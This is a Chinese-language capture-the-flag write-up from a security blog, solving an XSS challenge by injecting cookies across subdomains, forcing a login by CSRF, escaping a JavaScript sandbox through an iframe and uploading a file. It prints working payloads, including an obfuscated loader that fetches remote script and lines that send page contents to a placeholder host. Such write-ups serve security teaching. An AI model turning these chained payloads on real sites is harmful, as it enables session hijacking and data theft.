cdxy.me
Footprints on Cyber Security and Python

已知条件

  1. 前台提交的XSS代码未经过滤,在http://government.vip/域内触发XSS。
  2. 题目告知flag在http://admin.government.vip:8000/
  3. http://admin.government.vip:8000/login,已知test/test账号可登录。 pic
  4. http://admin.government.vip:8000/在未登录状态下跳转到login,登录后页面会将Cookie中的username字段会输出到HTML<h1>标签之中,可验证存在XSS。 pic
  5. http://admin.government.vip:8000/页面沙盒禁用以下函数:
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

初步思路

前台提交XSS代码1,在government.vip域内触发XSS,向Cookie的username字段插入XSS代码2,然后跳转到admin.government.vip使Cookie中的XSS代码2触发,利用<script>标签在admin.government.vip执行外域的XSS代码3,打回以admin身份读取到的http://admin.government.vip:8000/页面内容。

Cookie操作受同源限制,我们在根域不可以直接操作admin域的Cookie,但可以利用Cookie特性,通过.government.vip将Cookie带入子域。

cookie="username=<XSS code>;domain=.government.vip;"

此时浏览器访问http://admin.government.vip:8000/会携带以下两条Cookie:

username="XSS; domain=.government.vip"
username="test; domain=admin.government.vip; path=/"

因为cookie的读取是"无状态"的,因此以下两条cookie被后端解析时是完全相同的。

此时选取哪条Cookie使用取决于后端代码实现,响应头指出后端框架TornadoServer/4.4.2。Tornado特性:如果存在同名Cookie的话,后者将覆盖前者,这是实现攻击的一个必需条件。

失误

<script>
document.cookie="username=<script>window.location.href='xxx?id=test'</script>;domain=.government.vip;"
window.location.href="http://admin.government.vip:8000";
</script>

这里我犯了一个非常二的错误,由于没有对</script>标签转义,输出到DOM时第一个<script>被document.cookie中的</script>提前闭合,导致payload被截断。

正确方法是<\/script>,渲染两次时使用<\\/script>

然而我并没注意到这个问题,在本地测试成功但XSS平台却收一直不到回显时,得出错误结论:admin页面并没有将cookie值输出到DOM中,不存在XSS

更复杂的情况

这里不妨假设 admin看到的页面没有XSS ,增加一点难度,也是可解的。

首先我们要知道admin访问admin.government.vip:8000页面时看到了什么。根据以下文章中给出的方法,可采用三个iframe轮流加载解决这个问题。

iframe.html (前台提交)

<script>
    function get()
    {
        var payload = "<script src='http://xxx/payload.js'>"+"</s"+"cript>;";
        document.cookie="username=" + payload + " domain=.government.vip; path=/";
        document.body.appendChild(document.createElement('iframe')).src='http://admin.government.vip:8000';
    }
</script>

<iframe src="http://admin.government.vip:8000"></iframe>
<iframe src="http://xxx/login.html" onload="get()"></iframe>

假设admin为登录状态,第一个iframe利用admin身份访问http://admin.government.vip:8000页面;第二个iframe加载外部域的页面,该页面通过CSRF使admin以test状态登入系统(覆盖掉原先admin的身份)。

login.html (公网部署)

<html>
  <body>
    <form action="http://admin.government.vip:8000/login" method="POST" id="exploit">
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="password" value="test" />
      <input type="submit" value="Submit request" />
    </form>
    <script>document.getElementById('exploit').submit();</script>
  </body>
</html>

在第二个iframe加载完成后执行get()方法,首先添加一条.government.vip域的cookie,然后插入第三个iframe。第三个iframe再次访问http://admin.government.vip:8000页面时,由于之前的CSRF登录行为,访问者此时的身份为test。

test页面是我们测试过确定可触发XSS的,利用cookie触发XSS,加载外部payload.js代码。

payload.js (公网部署)

location.href = "http://xxx/?xss="+escape(window.top.frames[0].document.documentElement.innerHTML)

这里js执行时会读取第一个iframe的内容并发送到XSS接受平台。

完整逻辑

  1. 第一次以admin身份拿到私密内容
  2. 第二次赋予用户test身份
  3. 第三次以test身份触发XSS将内容偷出来

这样就解决了 “admin用户访问的页面不会触发XSS” 的问题。

admin page

由于set cookie的同源限制,iframe.html要直接提交在题目中,不能通过外部链接引入,所幸出题人未设置黑名单,拿到admin身份访问的页面HTML

(admin) admin.government.vip:8000

<head>
  <title>Admin Panel</title>
  <script>
  //sandbox
  delete window.Function;
  delete window.eval;
  delete window.alert;
  delete window.XMLHttpRequest;
  delete window.Proxy;
  delete window.Image;
  delete window.postMessage;
  </script>
</head>
<body>
  <h1>Hello admin</h1>
  <p>Upload your shell</p>
  <form action="/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="upload">
  </form>
</body>

该页面和之前test访问的页面一样含有js沙箱,此外添加了一个上传功能。 由于<input type=file>无法预设value值不能被CSRF利用,只能绕沙箱。

这里看到当前window的一些方法被禁用,利用iframe新建一个window即可绕过。

upload

iframe2.html (前台提交)

<script>
    function get() {
        payload= "<iframe src=javascript:eval('s=document.createElement(\"script\");s.src=\"http://xxx/upload.js\";document.head.appendChild(s);')>";

        document.cookie="username=" + payload + "; domain=.government.vip; path=/";
        document.body.appendChild(document.createElement('iframe')).src='http://admin.government.vip:8000';

    }
    </script>

    <iframe src="http://xxx/login.html" onload="get()"></iframe>

注意到payload变量中的;会截断cookie,可使用编码绕过:

eval(String.fromCharCode(115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,114,99,61,34,104,116,116,112,58,47,47,120,120,120,47,117,112,108,111,97,100,46,106,115,34,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))

仍然和之前一样,先通过CSRF让其登录test账号,然后设置cookie,再访问页面触发XSS,此时XSS在页面中添加一个iframe,利用iframe的window.eval方法执行js代码。该代码创建script标签,引入外部并执行外部脚本upload.js

upload.js (公网部署)

var xhr = new XMLHttpRequest();
xhr.open("POST", "upload", false);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------12264101169922");
xhr.withCredentials = true;
var body = "-----------------------------12264101169922\r\n" + 
"Content-Disposition: form-data; name=\"file\"; filename=\"shell\"\r\n" + 
"Content-Type: text/plain\r\n" + 
"\r\n" + 
"shell\r\n" + 
"-----------------------------12264101169922\r\n" + 
"Content-Disposition: form-data; name=\"submit\"\r\n" + 
"\r\n" + 
"\xcc\xe1\xbd\xbb\xb2\xe9\xd1\xaf\r\n" + 
"-----------------------------12264101169922--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i); 
xhr.send(new Blob([aBody]));

window.location = "http://xxx/?final=" + xhr.response;

其中upload.js负责通过xhr发包,完成文件上传操作,最终通过location将响应结果发送到接收平台。

flag

pic

Ref

  • @lynahex @louys